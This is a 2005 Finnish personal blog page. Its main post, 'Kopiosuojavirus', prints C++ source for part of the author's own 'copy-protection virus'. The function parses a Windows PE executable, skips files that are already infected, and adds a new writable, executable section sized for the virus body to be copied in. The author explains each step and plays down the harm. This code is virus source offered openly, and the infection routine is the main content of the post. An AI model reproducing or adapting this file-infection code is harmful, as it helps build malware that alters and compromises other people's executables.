IRC-Galleria

Blogi

- Vanhemmat »

tehokas tekninen toimenpidePerjantai 28.10.2005 00:22

Kirjoittelinpa sitten aamummalla noista tekijänoikeuteen liittyvistä projekteistani tekstin. Siinä siis lyhyt tiivistelmä mitä olen tehnyt ja mikä niiden idea on, ja joitain avoimia tutkimisen arvoisia asioita.

http://muzzy.net/files/copyright_projects_fi.txt

KopiosuojavirusKeskiviikko 26.10.2005 02:00

Tällä hetkellä oletuskuvassani on pätkä kopiosuojaviruksen lähdekoodia, joten ajattelin että voisi sitä heittää tänne blogiinkin pätkän. Saas nähdä mitä käy koodin sisennyksille jne :)

Kuvassa oleva funktio tässä siis kokonaisuudessaan:

// magic config
#define MAGIC_ID1 0x72616b2e
#define MAGIC_ID2 0x616c6570

#define MAGIC_ID3 0x7a756d2e

inline bool foo(char *base, unsigned int fsize)
{
unsigned int attacksize = 0x1000;
// process
pe::dos_header *dosh = reinterpret_cast<pe::dos_header*>(base);
if (dosh->e_magic != pe::dos_signature) return false;
pe::nt_header32 *peh = reinterpret_cast<pe::nt_header32*>(base+dosh->e_lfanew)
;
if (peh->signature != pe::nt_signature) return false;
if (peh->file_header.machine != pe::mt_i386) return false;
pe::pe_header& h = peh->file_header;
pe::section_header* sections = reinterpret_cast<pe::section_header*>
(base+dosh->e_lfanew+h.size_of_optional_header + 20+4); // fileheader+signature = 20+4

pe::section_header *v = sections + peh->file_header.number_of_sections;

unsigned int max_vaddr = 0;
bool will_infect = false;
for(unsigned int i=0; i<peh->file_header.number_of_sections; ++i) {
// don't reinfect
if (*(unsigned int*)(sections.name) == MAGIC_ID1)
return false;
if (*(unsigned int*)(sections.name) == MAGIC_ID3)
will_infect = true;
if (sections.virtual_address+sections.virtual_size > max_vaddr)
max_vaddr = ((sections.virtual_address+sections.virtual_size+0x1000-1)/0x1000)*0x1000;
}
if (will_infect == false)
return false;

peh->file_header.number_of_sections++;
peh->optional_header.size_of_image += attacksize;
peh->optional_header.size_of_code += attacksize;
peh->optional_header.size_of_initialized_data += attacksize;

v->pointer_to_raw_data=fsize;
v->characteristics = 0xE0000060;
*(unsigned int*)(v->name) = MAGIC_ID1;
*(unsigned int*)(v->name+4) = MAGIC_ID2;
v->number_of_linenumbers = 0;
v->number_of_relocations = 0;
v->pointer_to_relocations = 0;
v->pointer_to_linenumbers = 0;
v->size_of_raw_data = attacksize;
v->virtual_size = attacksize;
v->virtual_address = max_vaddr;

return true;
}

Tämä pätkä siis kirjoittaa muistiin kartoitettuun EXE-tiedostoon uuden osion johon voi kopioida koodia. Lisäksi tarkistetaan ettei jo saastunutta exeä saastuteta uudestaan, ja että saastutetaan vain omia teoksia. Tätä varten on MAGIC-arvot, jotka kuvaavat neljän merkin pätkiä ".kar"+"pela" ja ".muz".

Lopuksi funktio palauttaa arvon, kertoen pääohjelmalle saastutettiinko kohde vai ei, jotta pääohjelma tietää pitääkö sinne kopioida vielä viruksen loppuosuuskin. Koodi sisältää monia oletuksia kohdeohjelmasta eikä toimi sellaisenaan kaikkia exejä vastaan vaikka leviämisvarmistukset puuttuisivatkin, joten tämä koodi ei hirmuisen haitallinen ole :)
- Vanhemmat »